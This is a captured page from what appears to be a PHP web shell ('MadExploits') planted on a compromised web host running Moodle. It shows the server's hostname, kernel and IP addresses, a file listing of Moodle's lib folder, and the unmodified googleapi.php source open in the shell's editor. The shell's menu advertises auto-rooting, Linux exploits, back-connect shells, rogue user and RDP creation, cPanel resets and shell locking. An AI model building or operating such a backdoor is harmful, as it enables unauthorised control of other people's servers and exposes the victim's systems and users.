Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.71.254.219
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
adodb
[ DIR ]
drwxr-xr-x
ajax
[ DIR ]
drwxr-xr-x
amd
[ DIR ]
drwxr-xr-x
antivirus
[ DIR ]
drwxr-xr-x
babel-polyfill
[ DIR ]
drwxr-xr-x
behat
[ DIR ]
drwxr-xr-x
bennu
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
ddl
[ DIR ]
drwxr-xr-x
dml
[ DIR ]
drwxr-xr-x
dtl
[ DIR ]
drwxr-xr-x
editor
[ DIR ]
drwxr-xr-x
emoji-data
[ DIR ]
drwxr-xr-x
evalmath
[ DIR ]
drwxr-xr-x
external
[ DIR ]
drwxr-xr-x
filebrowser
[ DIR ]
drwxr-xr-x
filestorage
[ DIR ]
drwxr-xr-x
fonts
[ DIR ]
drwxr-xr-x
form
[ DIR ]
drwxr-xr-x
geopattern-php
[ DIR ]
drwxr-xr-x
google
[ DIR ]
drwxr-xr-x
grade
[ DIR ]
drwxr-xr-x
horde
[ DIR ]
drwxr-xr-x
html2text
[ DIR ]
drwxr-xr-x
htmlpurifier
[ DIR ]
drwxr-xr-x
http-message
[ DIR ]
drwxr-xr-x
jabber
[ DIR ]
drwxr-xr-x
jquery
[ DIR ]
drwxr-xr-x
ltiprovider
[ DIR ]
drwxr-xr-x
markdown
[ DIR ]
drwxr-xr-x
maxmind
[ DIR ]
drwxr-xr-x
minify
[ DIR ]
drwxr-xr-x
mlbackend
[ DIR ]
drwxr-xr-x
mustache
[ DIR ]
drwxr-xr-x
pear
[ DIR ]
drwxr-xr-x
php-css-parser
[ DIR ]
drwxr-xr-x
php-enum
[ DIR ]
drwxr-xr-x
php-jwt
[ DIR ]
drwxr-xr-x
phpmailer
[ DIR ]
drwxr-xr-x
phpspreadsheet
[ DIR ]
drwxr-xr-x
phpunit
[ DIR ]
drwxr-xr-x
plist
[ DIR ]
drwxr-xr-x
polyfills
[ DIR ]
drwxr-xr-x
portfolio
[ DIR ]
drwxr-xr-x
requirejs
[ DIR ]
drwxr-xr-x
rtlcss
[ DIR ]
drwxr-xr-x
scssphp
[ DIR ]
drwxr-xr-x
simplepie
[ DIR ]
drwxr-xr-x
spout
[ DIR ]
drwxr-xr-x
table
[ DIR ]
drwxr-xr-x
tcpdf
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
testing
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
typo3
[ DIR ]
drwxr-xr-x
userkey
[ DIR ]
drwxr-xr-x
xapi
[ DIR ]
drwxr-xr-x
xhprof
[ DIR ]
drwxr-xr-x
xmldb
[ DIR ]
drwxr-xr-x
yui
[ DIR ]
drwxr-xr-x
yuilib
[ DIR ]
drwxr-xr-x
zipstream
[ DIR ]
drwxr-xr-x
accesslib.php
266.75
KB
-rw-r--r--
adminlib.php
392.43
KB
-rw-r--r--
authlib.php
42.06
KB
-rw-r--r--
badgeslib.php
47.15
KB
-rw-r--r--
blocklib.php
99.89
KB
-rw-r--r--
boxlib.php
8.08
KB
-rw-r--r--
cacert.pem
239.21
KB
-rw-r--r--
cacert.txt
811
B
-rw-r--r--
clilib.php
9.57
KB
-rw-r--r--
completionlib.php
50.73
KB
-rw-r--r--
componentlib.class.php
29.2
KB
-rw-r--r--
components.json
3.51
KB
-rw-r--r--
conditionlib.php
1.11
KB
-rw-r--r--
configonlylib.php
6.48
KB
-rw-r--r--
cookies.js
2.37
KB
-rw-r--r--
cronlib.php
15.06
KB
-rw-r--r--
csslib.php
6.81
KB
-rw-r--r--
csvlib.class.php
17.71
KB
-rw-r--r--
customcheckslib.php
1.5
KB
-rw-r--r--
dataformatlib.php
1.79
KB
-rw-r--r--
datalib.php
70.57
KB
-rw-r--r--
ddllib.php
4.71
KB
-rw-r--r--
default.ttf
502.23
KB
-rw-r--r--
deprecatedlib.php
106.4
KB
-rw-r--r--
dmllib.php
12.2
KB
-rw-r--r--
dtllib.php
2.58
KB
-rw-r--r--
editorlib.php
6.43
KB
-rw-r--r--
emptyfile.php
809
B
-rw-r--r--
enrollib.php
119.66
KB
-rw-r--r--
environmentlib.php
57.34
KB
-rw-r--r--
excellib.class.php
30.34
KB
-rw-r--r--
externallib.php
60.57
KB
-rw-r--r--
filelib.php
196.2
KB
-rw-r--r--
filterlib.php
59
KB
-rw-r--r--
flickrclient.php
9.73
KB
-rw-r--r--
flickrlib.php
52.08
KB
-rw-r--r--
formslib.php
139.28
KB
-rw-r--r--
gdlib.php
16.96
KB
-rw-r--r--
googleapi.php
16.83
KB
-rw-r--r--
gradelib.php
60.98
KB
-rw-r--r--
graphlib.php
83.1
KB
-rw-r--r--
grouplib.php
47.89
KB
-rw-r--r--
index.html
1
B
-rw-r--r--
installlib.php
18.06
KB
-rw-r--r--
javascript-static.js
43.13
KB
-rw-r--r--
javascript.php
4.09
KB
-rw-r--r--
jslib.php
4.21
KB
-rw-r--r--
jssourcemap.php
2.41
KB
-rw-r--r--
ldaplib.php
18.25
KB
-rw-r--r--
lexer.php
15.92
KB
-rw-r--r--
licenselib.php
12.53
KB
-rw-r--r--
listlib.php
22.53
KB
-rw-r--r--
mathslib.php
4.47
KB
-rw-r--r--
messagelib.php
33.52
KB
-rw-r--r--
modinfolib.php
109.69
KB
-rw-r--r--
moodlelib.php
382.06
KB
-rw-r--r--
myprofilelib.php
19.71
KB
-rw-r--r--
navigationlib.php
248.56
KB
-rw-r--r--
oauthlib.php
24.44
KB
-rw-r--r--
odslib.class.php
57.36
KB
-rw-r--r--
outputactions.php
7.11
KB
-rw-r--r--
outputcomponents.php
161.17
KB
-rw-r--r--
outputfactories.php
18.11
KB
-rw-r--r--
outputfragmentrequirementslib....
4.28
KB
-rw-r--r--
outputlib.php
94.68
KB
-rw-r--r--
outputrenderers.php
202.8
KB
-rw-r--r--
outputrequirementslib.php
86.25
KB
-rw-r--r--
pagelib.php
77.39
KB
-rw-r--r--
pdflib.php
9.23
KB
-rw-r--r--
phpminimumversionlib.php
3.08
KB
-rw-r--r--
plagiarismlib.php
8.01
KB
-rw-r--r--
portfoliolib.php
53.57
KB
-rw-r--r--
questionlib.php
88.77
KB
-rw-r--r--
recaptchalib_v2.php
6.39
KB
-rw-r--r--
requirejs.php
6.9
KB
-rw-r--r--
resourcelib.php
8.91
KB
-rw-r--r--
rsslib.php
17.84
KB
-rw-r--r--
searchlib.php
17.95
KB
-rw-r--r--
sessionlib.php
6.97
KB
-rw-r--r--
setup.php
38.99
KB
-rw-r--r--
setuplib.php
77.33
KB
-rw-r--r--
soaplib.php
5.23
KB
-rw-r--r--
statslib.php
67.65
KB
-rw-r--r--
tablelib.php
74.18
KB
-rw-r--r--
thirdpartylibs.xml
9.43
KB
-rw-r--r--
tokeniserlib.php
16.48
KB
-rw-r--r--
upgrade.txt
112.03
KB
-rw-r--r--
upgradelib.php
101.66
KB
-rw-r--r--
uploadlib.php
1.9
KB
-rw-r--r--
validateurlsyntax.php
23.05
KB
-rw-r--r--
wasmlib.php
4.29
KB
-rw-r--r--
webdavlib.php
68.75
KB
-rw-r--r--
weblib.php
125.36
KB
-rw-r--r--
wiki_to_markdown.php
13.12
KB
-rw-r--r--
womenslib.php
1021
B
-rw-r--r--
wordlist.txt
1.23
KB
-rw-r--r--
xhtml.xsl
223
B
-rw-r--r--
xmlize.php
8.85
KB
-rw-r--r--
xsendfilelib.php
2.59
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : googleapi.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Simple implementation of some Google API functions for Moodle. * * @package core * @copyright Dan Poltawski <talktodan@gmail.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); require_once($CFG->libdir.'/filelib.php'); require_once($CFG->libdir.'/oauthlib.php'); /** * Class for manipulating google documents through the google data api. * * Docs for this can be found here: * {@link http://code.google.com/apis/documents/docs/2.0/developers_guide_protocol.html} * * @package core * @subpackage lib * @copyright Dan Poltawski <talktodan@gmail.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class google_docs { /** @var string Realm for authentication, need both docs and spreadsheet realm */ const REALM = 'https://docs.google.com/feeds/ https://spreadsheets.google.com/feeds/ https://docs.googleusercontent.com/'; /** @var string Document list url */ const DOCUMENTFEED_URL = 'https://docs.google.com/feeds/default/private/full'; /** @var string Upload url */ const UPLOAD_URL = 'https://docs.google.com/feeds/upload/create-session/default/private/full?convert=false'; /** @var google_oauth oauth curl class for making authenticated requests */ private $googleoauth = null; /** * Constructor. * * @param google_oauth $googleoauth oauth curl class for making authenticated requests */ public function __construct(google_oauth $googleoauth) { $this->googleoauth = $googleoauth; $this->reset_curl_state(); } /** * Resets state on oauth curl object and set GData protocol * version */ private function reset_curl_state() { $this->googleoauth->reset_state(); $this->googleoauth->setHeader('GData-Version: 3.0'); } /** * Returns a list of files the user has formated for files api * * @param string $search A search string to do full text search on the documents * @return mixed Array of files formated for fileapoi */ public function get_file_list($search = '') { global $CFG, $OUTPUT; $url = self::DOCUMENTFEED_URL; if ($search) { $url.='?q='.urlencode($search); } $files = array(); $content = $this->googleoauth->get($url); try { if (strpos($content, '<?xml') !== 0) { throw new moodle_exception('invalidxmlresponse'); } $xml = new SimpleXMLElement($content); } catch (Exception $e) { // An error occured while trying to parse the XML, let's just return nothing. SimpleXML does not // return a more specific Exception, that's why the global Exception class is caught here. return $files; } date_default_timezone_set(core_date::get_user_timezone()); foreach ($xml->entry as $gdoc) { $docid = (string) $gdoc->children('http://schemas.google.com/g/2005')->resourceId; list($type, $docid) = explode(':', $docid); $title = ''; $source = ''; // FIXME: We're making hard-coded choices about format here. // If the repo api can support it, we could let the user // chose. switch($type){ case 'document': $title = $gdoc->title.'.rtf'; $source = 'https://docs.google.com/feeds/download/documents/Export?id='.$docid.'&exportFormat=rtf'; break; case 'presentation': $title = $gdoc->title.'.ppt'; $source = 'https://docs.google.com/feeds/download/presentations/Export?id='.$docid.'&exportFormat=ppt'; break; case 'spreadsheet': $title = $gdoc->title.'.xls'; $source = 'https://spreadsheets.google.com/feeds/download/spreadsheets/Export?key='.$docid.'&exportFormat=xls'; break; case 'pdf': case 'file': $title = (string)$gdoc->title; // Some files don't have a content probably because the download has been restricted. if (isset($gdoc->content)) { $source = (string)$gdoc->content[0]->attributes()->src; } break; } $files[] = array( 'title' => $title, 'url' => "{$gdoc->link[0]->attributes()->href}", 'source' => $source, 'date' => strtotime($gdoc->updated), 'thumbnail' => (string) $OUTPUT->image_url(file_extension_icon($title, 32)) ); } core_date::set_default_server_timezone(); return $files; } /** * Sends a file object to google documents * * @param object $file File object * @return boolean True on success */ public function send_file($file) { // First we create the 'resumable upload request'. $this->googleoauth->setHeader("Content-Length: 0"); $this->googleoauth->setHeader("X-Upload-Content-Length: ". $file->get_filesize()); $this->googleoauth->setHeader("X-Upload-Content-Type: ". $file->get_mimetype()); $this->googleoauth->setHeader("Slug: ". $file->get_filename()); $this->googleoauth->post(self::UPLOAD_URL); if ($this->googleoauth->info['http_code'] !== 200) { throw new moodle_exception('Cantpostupload'); } // Now we http PUT the file in the location returned. $location = $this->googleoauth->response['Location']; if (empty($location)) { throw new moodle_exception('Nouploadlocation'); } // Reset the curl object for actually sending the file. $this->reset_curl_state(); $this->googleoauth->setHeader("Content-Length: ". $file->get_filesize()); $this->googleoauth->setHeader("Content-Type: ". $file->get_mimetype()); // We can't get a filepointer, so have to copy the file.. $tmproot = make_temp_directory('googledocsuploads'); $tmpfilepath = $tmproot.'/'.$file->get_contenthash(); $file->copy_content_to($tmpfilepath); // HTTP PUT the file. $this->googleoauth->put($location, array('file'=>$tmpfilepath)); // Remove the temporary file we created.. unlink($tmpfilepath); if ($this->googleoauth->info['http_code'] === 201) { // Clear headers for further requests. $this->reset_curl_state(); return true; } else { return false; } } /** * Downloads a file using authentication * * @param string $url url of file * @param string $path path to save file to * @param int $timeout request timeout, default 0 which means no timeout * @return array stucture for repository download_file */ public function download_file($url, $path, $timeout = 0) { $result = $this->googleoauth->download_one($url, null, array('filepath' => $path, 'timeout' => $timeout)); if ($result === true) { $info = $this->googleoauth->get_info(); if (isset($info['http_code']) && $info['http_code'] == 200) { return array('path'=>$path, 'url'=>$url); } else { throw new moodle_exception('cannotdownload', 'repository'); } } else { throw new moodle_exception('errorwhiledownload', 'repository', '', $result); } } } /** * Class for manipulating picasa through the google data api. * * Docs for this can be found here: * {@link http://code.google.com/apis/picasaweb/developers_guide_protocol.html} * * @package core * @copyright Dan Poltawski <talktodan@gmail.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class google_picasa { /** @var string Realm for authentication */ const REALM = 'http://picasaweb.google.com/data/'; /** @var string Upload url */ const UPLOAD_LOCATION = 'https://picasaweb.google.com/data/feed/api/user/default/albumid/default'; /** @var string photo list url */ const ALBUM_PHOTO_LIST = 'https://picasaweb.google.com/data/feed/api/user/default/albumid/'; /** @var string search url */ const PHOTO_SEARCH_URL = 'https://picasaweb.google.com/data/feed/api/user/default?kind=photo&q='; /** @var string album list url */ const LIST_ALBUMS_URL = 'https://picasaweb.google.com/data/feed/api/user/default'; /** @var string manage files url */ const MANAGE_URL = 'http://picasaweb.google.com/'; /** @var google_oauth oauth curl class for making authenticated requests */ private $googleoauth = null; /** @var string Last album name retrievied */ private $lastalbumname = null; /** * Constructor. * * @param google_oauth $googleoauth oauth curl class for making authenticated requests */ public function __construct(google_oauth $googleoauth) { $this->googleoauth = $googleoauth; $this->googleoauth->setHeader('GData-Version: 2'); } /** * Sends a file object to picasaweb * * @param object $file File object * @return boolean True on success */ public function send_file($file) { $this->googleoauth->setHeader("Content-Length: ". $file->get_filesize()); $this->googleoauth->setHeader("Content-Type: ". $file->get_mimetype()); $this->googleoauth->setHeader("Slug: ". $file->get_filename()); $this->googleoauth->post(self::UPLOAD_LOCATION, $file->get_content()); if ($this->googleoauth->info['http_code'] === 201) { return true; } else { return false; } } /** * Returns list of photos for file picker. * If top level then returns list of albums, otherwise * photos within an album. * * @param string $path The path to files (assumed to be albumid) * @return mixed $files A list of files for the file picker */ public function get_file_list($path = '') { if (!$path) { return $this->get_albums(); } else { return $this->get_album_photos($path); } } /** * Returns list of photos in album specified * * @param int $albumid Photo album to list photos from * @return mixed $files A list of files for the file picker */ public function get_album_photos($albumid) { $albumcontent = $this->googleoauth->get(self::ALBUM_PHOTO_LIST.$albumid); return $this->get_photo_details($albumcontent); } /** * Returns the name of the album for which get_photo_details was called last time. * * @return string */ public function get_last_album_name() { return $this->lastalbumname; } /** * Does text search on the users photos and returns * matches in format for picasa api * * @param string $query Search terms * @return mixed $files A list of files for the file picker */ public function do_photo_search($query) { $content = $this->googleoauth->get(self::PHOTO_SEARCH_URL.htmlentities($query)); return $this->get_photo_details($content); } /** * Gets all the users albums and returns them as a list of folders * for the file picker * * @return mixes $files Array in the format get_listing uses for folders */ public function get_albums() { $files = array(); $content = $this->googleoauth->get(self::LIST_ALBUMS_URL); try { if (strpos($content, '<?xml') !== 0) { throw new moodle_exception('invalidxmlresponse'); } $xml = new SimpleXMLElement($content); } catch (Exception $e) { // An error occured while trying to parse the XML, let's just return nothing. SimpleXML does not // return a more specific Exception, that's why the global Exception class is caught here. return $files; } foreach ($xml->entry as $album) { $gphoto = $album->children('http://schemas.google.com/photos/2007'); $mediainfo = $album->children('http://search.yahoo.com/mrss/'); // Hacky... $thumbnailinfo = $mediainfo->group->thumbnail[0]->attributes(); $files[] = array( 'title' => (string) $album->title, 'date' => userdate($gphoto->timestamp), 'size' => (int) $gphoto->bytesUsed, 'path' => (string) $gphoto->id, 'thumbnail' => (string) $thumbnailinfo['url'], 'thumbnail_width' => 160, // 160 is the native maximum dimension. 'thumbnail_height' => 160, 'children' => array(), ); } return $files; } /** * Recieves XML from a picasa list of photos and returns * array in format for file picker. * * @param string $rawxml XML from picasa api * @return mixed $files A list of files for the file picker */ public function get_photo_details($rawxml) { $files = array(); try { if (strpos($rawxml, '<?xml') !== 0) { throw new moodle_exception('invalidxmlresponse'); } $xml = new SimpleXMLElement($rawxml); } catch (Exception $e) { // An error occured while trying to parse the XML, let's just return nothing. SimpleXML does not // return a more specific Exception, that's why the global Exception class is caught here. return $files; } $this->lastalbumname = (string)$xml->title; foreach ($xml->entry as $photo) { $gphoto = $photo->children('http://schemas.google.com/photos/2007'); $mediainfo = $photo->children('http://search.yahoo.com/mrss/'); $fullinfo = $mediainfo->group->content->attributes(); // Hacky... $thumbnailinfo = $mediainfo->group->thumbnail[0]->attributes(); // Derive the nicest file name we can. if (!empty($mediainfo->group->description)) { $title = shorten_text((string)$mediainfo->group->description, 20, false, ''); $title = clean_filename($title).'.jpg'; } else { $title = (string)$mediainfo->group->title; } $files[] = array( 'title' => $title, 'date' => userdate($gphoto->timestamp), 'size' => (int) $gphoto->size, 'path' => $gphoto->albumid.'/'.$gphoto->id, 'thumbnail' => (string) $thumbnailinfo['url'], 'thumbnail_width' => 72, // 72 is the native maximum dimension. 'thumbnail_height' => 72, 'source' => (string) $fullinfo['url'], 'url' => (string) $fullinfo['url'] ); } return $files; } } /** * OAuth 2.0 client for Google Services * * @package core * @copyright 2012 Dan Poltawski * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class google_oauth extends oauth2_client { /** * Returns the auth url for OAuth 2.0 request * @return string the auth url */ protected function auth_url() { return 'https://accounts.google.com/o/oauth2/auth'; } /** * Returns the token url for OAuth 2.0 request * @return string the auth url */ protected function token_url() { return 'https://accounts.google.com/o/oauth2/token'; } /** * Resets headers and response for multiple requests */ public function reset_state() { $this->header = array(); $this->response = array(); } /** * Make a HTTP request, we override the parents because we do not * want to send accept headers (this was a change in the parent class and we want to keep the old behaviour). * * @param string $url The URL to request * @param array $options * @param mixed $acceptheader Not used. * @return bool */ protected function request($url, $options = array(), $acceptheader = 'application/json') { return parent::request($url, $options, false); } }
Close